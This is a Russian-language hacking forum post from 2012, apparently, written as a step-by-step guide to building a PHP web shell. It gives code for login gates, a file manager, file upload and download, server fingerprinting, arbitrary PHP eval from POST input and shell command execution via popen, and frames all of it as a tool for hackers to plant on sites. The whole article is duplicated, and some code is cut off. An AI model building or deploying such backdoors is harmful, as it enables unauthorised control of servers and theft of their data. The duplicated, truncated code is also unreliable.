Unknown
28.08.2012, 03:53
0. ИНТРО
Сделаю маленькое отступление от тематики и разъясню, что к чему. Данная статья написана в стиле HowTo - как собрать веб-шелл. Вообще в идеале, можно было бы написать большую теорию о нужном функционале шелла и в конце предложить Вам конструктор по его сборке из уже готовых элементов, но все таки я придерживаюсь мнения, что лучше полноценной практики после теории Нет. Вообще шеллов в интернете жопой ешь, но все таки согласитесь, что во-первых своё - родное, оно по приятнее будет, да и сам процесс создания оболочки вас много должен научить. Тем более, иногда бывают такие ситуации когда вес загружаемого файла не позволяет загрузить полноценный шелл, а после прочтения данной статьи, вы за несколько минут можете собрать тяп-ляп шелл, который будет отлично функционировать.
1. ФУНКЦИОНАЛЬНАЯ ЧАСТЬ
[~] Авторизация
[~] Файловый менеджер
[~] Загрузка файла на сервер
[~] Вывод информации о сервере
[~] Исполнение PHP кода
[~] Исполнение SHELL кода
2. Авторизация
Итак, сейчас будем рассматривать два способа авторизации, соответственно отличающихся друг от друга по многим фактором, от внешнего вида, до самого способа аутентификации.
2. Авторизация через системную форму;
1. Авторизация через веб-форму
Чтобы наша веб-форма авторизации в шелле была видна хацкеру, мы должны её "построить", а строить её будет HTML код ниже:
http://s3.hostingkartinok.com/uploads/images/2012/08/359f586bd2d16fca3d9296a6db3ede88.png
PHP:
Password:
Это вообще, самый минимум, который только может быть и по мне так и надо оставить это дело, не надо на этом этапе подключать css и делать красивейшие формы - это лишние kb(!!!). Теперь давайте напишем скрипт, который будет обрабатывать эту форму:
PHP:
$password="pass";// MD5
$pass=$_POST['pass'];
if(md5($pass)==$password)
{
// код шелла
}
2. Авторизация через системную форму
Приступим к рассмотрению более надежного варианта авторизации в шелле - системная авторизация. При обращении к шеллу (site.com/shell.php) появится окно с двумя полями - логин и пароль:
http://s52.radikal.ru/i136/1208/88/3807ebfe8601.png
Как вы наверно уже знаете, для такого способа авторизации HTML форма не нужна, поэтому сразу напишем PHP скрипт:
PHP:
$login="user";
$password="pass";// password in md5
if (!isset($_SERVER['PHP_AUTH_USER']) ||$_SERVER['PHP_AUTH_USER']!==$login||md5($_SERVER['PHP_AUTH_PW'])!==$password) {
header('WWW-Authenticate: Basic realm="Заголовок формы"');
header('HTTP/1.0 401 Unauthorized');
exit("Access Denied");}
echo"Access granted!";
//тут код самого шелла
А да, чуть не забыл. Если хотите не за*бывать себя, то лучше поработайте с куками или сессиями и дополните ПЕРВУЮ авторизацию, для второго способа этого НЕ требуется. (еще один плюс за #2)
3. ФАЙЛОВЫЙ МЕНЕДЖЕР
Ну вот и подошло время к самому главному составляющему нашего шелла - файловая система! И если вы думаете, что файловый менеджер это ls- la, то готов вас огорчить, ведь это не только листинг файликов и папок, но и действия с ними, типа - удаление, переименования и т.д.
PHP:
$d=@getcwd();
$dirs=array();
$files=array();
$dh= @opendir($d);
while (!(($file=readdir($dh)) ===false)) {
if ($file=="."||$file=="..") continue;
if (@is_dir("$d/$file")) {
$dirs[]=$file;
}else{
$files[]=$file;
}
sort($dirs);
sort($files);
}
for($i=0;$i$dirs[$i]
";
}
for($i=0;$i
Сейчас буду описывать функционал файлового менеджера, в формате: описание-код, а уже вам решать как и куда вы его будите впихивать, можете организовать как в wso, можете как в r57, можете изобрести что-то новое
[COLOR="DarkOrange"]1. Создание файлов
[PHP]
PHP:
[COLOR="#0000BB"]$fp=fopen($name,"w");
fwrite($fp,"");
Учтите здесь такой нюанс, что в переменную $name, должно быть записано полное имя файла, то есть, что-то вроде: /home/users/domains/site/public_html/name.txt, как это получить? Очень просто! Включаем браин и думаем где это уже встречалось в коде? Конечно же в файловом менеджере, переменная $d там отвечает за полный путь до директории, она получается из функции getcwd(), соответственно с помощью конкатенации и веб-формы делаем отличную создавалку файлов
2. Создание папочек
PHP:
mkdir($name,0777);
С $name повторяться не буду, скажу лишь про 0777 - это права на доступ к папке, спросите их так же через веб-форму и пользователя.
3. Переименование файлов
PHP:
rename($previous,"$new_name");
Опять все аналогично с $name - полное имя файла.
4. Копирование файлов
PHP:
copy($source,"$copy_to");
NO comments, baby! Все проще не куда.
5. Удаление файлов/папок/папочек
PHP:
unlink($name);
6. Скачивание файлов
PHP:
functionfile_download($filename,$mimetype='applica tion/octet-stream') {
if (file_exists($filename)) {
header($_SERVER["SERVER_PROTOCOL"] .' 200 OK');
header('Content-Type: '.$mimetype);
header('Last-Modified: '.gmdate('r',filemtime($filename)));
header('ETag: '.sprintf('%x-%x-%x',fileinode($filename),filesize($filename),filem time($filename)));// Уникальный идентификатор документа
header('Content-Length: '. (filesize($filename)));// Размер файла
header('Connection: close');
header('Content-Disposition: attachment; filename="'.basename($filename) .'";');
echofile_get_contents($filename);
} else {
header($_SERVER["SERVER_PROTOCOL"] .' 404 Not Found');
header('Status: 404 Not Found');
}
exit;
}
Здесь, что-то новое - header()! Это штука определяет для браузера, что ему нужно именно скачать этот файл. Здесь скачка организованна через функцию, по идеи у вас весь функционал должен быть таковым, поэтому если вы еще не привели всё в функции, то сделайте это на этом этапе.
7. Загрузка/UPLOAD файлов
Так, теперь приступим к мега важной функции - upload file Здесь все просто, но будем делать в два шага. Сначала создадим форму на HTML:
PHP:
Теперь пишем маленький PHP скрипт, который будет дорабатывать все это дело:
PHP:
$where=$_POST['where'];
$upload=$_POST['upload'];
$where=str_replace("//","/",$where);
$upload=$_FILES['text']['name'];
$uploadfile="$where/".$upload;
if (@move_uploaded_file(@$_FILES['text']['tmp_name'],$uploadfile)) {
$uploadfile=str_replace("//","/",$uploadfile);
}
ЗЫ Можете сделать multiupload, принцип надеюсь понятен.
4. ABOUT SERVER
Так, теперь напишем маленький about о вашем сервере. Ниже приведу несколько команд для такого вот трюка:
1. Версия ОС:
PHP:
php_uname();
2. Server IP:
PHP:
$_SERVER["SERVER_ADDR"]
3. Client IP:
PHP:
$_SERVER['REMOTE_ADDR']
4. Версия PHP:
PHP:
phpversion();
5. Safe mode:
PHP:
ini_get('safe_mode');
Ну и так далее, вообщем это все основное. Если вам нужно, что-то дополнительное то аля google или сп*здите у wso, r57
5. Выполнение PHP/SHELL команд
1. PHP код делать очень очень очень очень очень очень легко. Расписывать ничего не буду, просто держите код:
PHP:
echo eval($_POST['php']);
Надеюсь понятно, что вы должны создать веб-форму post и т.д....
2. Выполнение shell кода будет реализовано на большем кол-ве строк, но все же - это легко.
PHP:
functionshell($cmd){
$fp=popen($cmd,"r");
{
$result="";
while(!feof($fp)){$result.=fread($fp,1024) ;}
pclose($fp);
}
$ret=$result;
$ret=convert_cyr_string($ret,"d","w");
return$ret;}
echo"
$command
echo @HTMLspecialchars(shell($command));
";
Здесь ничего объяснять не буду, т.к. все как всегда понятно.
6. Итог
Статейка получилось приличной по объему, поэтому многие доп. функции в статью не вошли, но могу лишь подать идейки:
[1] Сделать ajax обновление
[2] Кодирование в md5,base64,url encode/decode и т.д.
[3] Замутить mysql-менеджер, но это уже вообще отдельная статья
[4] Добавить различие в цветовой гамме папок и файлов, скрытых файлов и т.п.
Сделаю маленькое отступление от тематики и разъясню, что к чему. Данная статья написана в стиле HowTo - как собрать веб-шелл. Вообще в идеале, можно было бы написать большую теорию о нужном функционале шелла и в конце предложить Вам конструктор по его сборке из уже готовых элементов, но все таки я придерживаюсь мнения, что лучше полноценной практики после теории Нет. Вообще шеллов в интернете жопой ешь, но все таки согласитесь, что во-первых своё - родное, оно по приятнее будет, да и сам процесс создания оболочки вас много должен научить. Тем более, иногда бывают такие ситуации когда вес загружаемого файла не позволяет загрузить полноценный шелл, а после прочтения данной статьи, вы за несколько минут можете собрать тяп-ляп шелл, который будет отлично функционировать.
1. ФУНКЦИОНАЛЬНАЯ ЧАСТЬ
[~] Авторизация
[~] Файловый менеджер
[~] Загрузка файла на сервер
[~] Вывод информации о сервере
[~] Исполнение PHP кода
[~] Исполнение SHELL кода
2. Авторизация
Итак, сейчас будем рассматривать два способа авторизации, соответственно отличающихся друг от друга по многим фактором, от внешнего вида, до самого способа аутентификации.
2. Авторизация через системную форму;
1. Авторизация через веб-форму
Чтобы наша веб-форма авторизации в шелле была видна хацкеру, мы должны её "построить", а строить её будет HTML код ниже:
http://s3.hostingkartinok.com/uploads/images/2012/08/359f586bd2d16fca3d9296a6db3ede88.png
PHP:
Password:
Это вообще, самый минимум, который только может быть и по мне так и надо оставить это дело, не надо на этом этапе подключать css и делать красивейшие формы - это лишние kb(!!!). Теперь давайте напишем скрипт, который будет обрабатывать эту форму:
PHP:
$password="pass";// MD5
$pass=$_POST['pass'];
if(md5($pass)==$password)
{
// код шелла
}
2. Авторизация через системную форму
Приступим к рассмотрению более надежного варианта авторизации в шелле - системная авторизация. При обращении к шеллу (site.com/shell.php) появится окно с двумя полями - логин и пароль:
http://s52.radikal.ru/i136/1208/88/3807ebfe8601.png
Как вы наверно уже знаете, для такого способа авторизации HTML форма не нужна, поэтому сразу напишем PHP скрипт:
PHP:
$login="user";
$password="pass";// password in md5
if (!isset($_SERVER['PHP_AUTH_USER']) ||$_SERVER['PHP_AUTH_USER']!==$login||md5($_SERVER['PHP_AUTH_PW'])!==$password) {
header('WWW-Authenticate: Basic realm="Заголовок формы"');
header('HTTP/1.0 401 Unauthorized');
exit("Access Denied");}
echo"Access granted!";
//тут код самого шелла
А да, чуть не забыл. Если хотите не за*бывать себя, то лучше поработайте с куками или сессиями и дополните ПЕРВУЮ авторизацию, для второго способа этого НЕ требуется. (еще один плюс за #2)
3. ФАЙЛОВЫЙ МЕНЕДЖЕР
Ну вот и подошло время к самому главному составляющему нашего шелла - файловая система! И если вы думаете, что файловый менеджер это ls- la, то готов вас огорчить, ведь это не только листинг файликов и папок, но и действия с ними, типа - удаление, переименования и т.д.
PHP:
$d=@getcwd();
$dirs=array();
$files=array();
$dh= @opendir($d);
while (!(($file=readdir($dh)) ===false)) {
if ($file=="."||$file=="..") continue;
if (@is_dir("$d/$file")) {
$dirs[]=$file;
}else{
$files[]=$file;
}
sort($dirs);
sort($files);
}
for($i=0;$i$dirs[$i]
";
}
for($i=0;$i
Сейчас буду описывать функционал файлового менеджера, в формате: описание-код, а уже вам решать как и куда вы его будите впихивать, можете организовать как в wso, можете как в r57, можете изобрести что-то новое
[COLOR="DarkOrange"]1. Создание файлов
[PHP]
PHP:
[COLOR="#0000BB"]$fp=fopen($name,"w");
fwrite($fp,"");
Учтите здесь такой нюанс, что в переменную $name, должно быть записано полное имя файла, то есть, что-то вроде: /home/users/domains/site/public_html/name.txt, как это получить? Очень просто! Включаем браин и думаем где это уже встречалось в коде? Конечно же в файловом менеджере, переменная $d там отвечает за полный путь до директории, она получается из функции getcwd(), соответственно с помощью конкатенации и веб-формы делаем отличную создавалку файлов
2. Создание папочек
PHP:
mkdir($name,0777);
С $name повторяться не буду, скажу лишь про 0777 - это права на доступ к папке, спросите их так же через веб-форму и пользователя.
3. Переименование файлов
PHP:
rename($previous,"$new_name");
Опять все аналогично с $name - полное имя файла.
4. Копирование файлов
PHP:
copy($source,"$copy_to");
NO comments, baby! Все проще не куда.
5. Удаление файлов/папок/папочек
PHP:
unlink($name);
6. Скачивание файлов
PHP:
functionfile_download($filename,$mimetype='applica tion/octet-stream') {
if (file_exists($filename)) {
header($_SERVER["SERVER_PROTOCOL"] .' 200 OK');
header('Content-Type: '.$mimetype);
header('Last-Modified: '.gmdate('r',filemtime($filename)));
header('ETag: '.sprintf('%x-%x-%x',fileinode($filename),filesize($filename),filem time($filename)));// Уникальный идентификатор документа
header('Content-Length: '. (filesize($filename)));// Размер файла
header('Connection: close');
header('Content-Disposition: attachment; filename="'.basename($filename) .'";');
echofile_get_contents($filename);
} else {
header($_SERVER["SERVER_PROTOCOL"] .' 404 Not Found');
header('Status: 404 Not Found');
}
exit;
}
Здесь, что-то новое - header()! Это штука определяет для браузера, что ему нужно именно скачать этот файл. Здесь скачка организованна через функцию, по идеи у вас весь функционал должен быть таковым, поэтому если вы еще не привели всё в функции, то сделайте это на этом этапе.
7. Загрузка/UPLOAD файлов
Так, теперь приступим к мега важной функции - upload file Здесь все просто, но будем делать в два шага. Сначала создадим форму на HTML:
PHP:
Теперь пишем маленький PHP скрипт, который будет дорабатывать все это дело:
PHP:
$where=$_POST['where'];
$upload=$_POST['upload'];
$where=str_replace("//","/",$where);
$upload=$_FILES['text']['name'];
$uploadfile="$where/".$upload;
if (@move_uploaded_file(@$_FILES['text']['tmp_name'],$uploadfile)) {
$uploadfile=str_replace("//","/",$uploadfile);
}
ЗЫ Можете сделать multiupload, принцип надеюсь понятен.
4. ABOUT SERVER
Так, теперь напишем маленький about о вашем сервере. Ниже приведу несколько команд для такого вот трюка:
1. Версия ОС:
PHP:
php_uname();
2. Server IP:
PHP:
$_SERVER["SERVER_ADDR"]
3. Client IP:
PHP:
$_SERVER['REMOTE_ADDR']
4. Версия PHP:
PHP:
phpversion();
5. Safe mode:
PHP:
ini_get('safe_mode');
Ну и так далее, вообщем это все основное. Если вам нужно, что-то дополнительное то аля google или сп*здите у wso, r57
5. Выполнение PHP/SHELL команд
1. PHP код делать очень очень очень очень очень очень легко. Расписывать ничего не буду, просто держите код:
PHP:
echo eval($_POST['php']);
Надеюсь понятно, что вы должны создать веб-форму post и т.д....
2. Выполнение shell кода будет реализовано на большем кол-ве строк, но все же - это легко.
PHP:
functionshell($cmd){
$fp=popen($cmd,"r");
{
$result="";
while(!feof($fp)){$result.=fread($fp,1024) ;}
pclose($fp);
}
$ret=$result;
$ret=convert_cyr_string($ret,"d","w");
return$ret;}
echo"
$command
echo @HTMLspecialchars(shell($command));
";
Здесь ничего объяснять не буду, т.к. все как всегда понятно.
6. Итог
Статейка получилось приличной по объему, поэтому многие доп. функции в статью не вошли, но могу лишь подать идейки:
[1] Сделать ajax обновление
[2] Кодирование в md5,base64,url encode/decode и т.д.
[3] Замутить mysql-менеджер, но это уже вообще отдельная статья
[4] Добавить различие в цветовой гамме папок и файлов, скрытых файлов и т.п.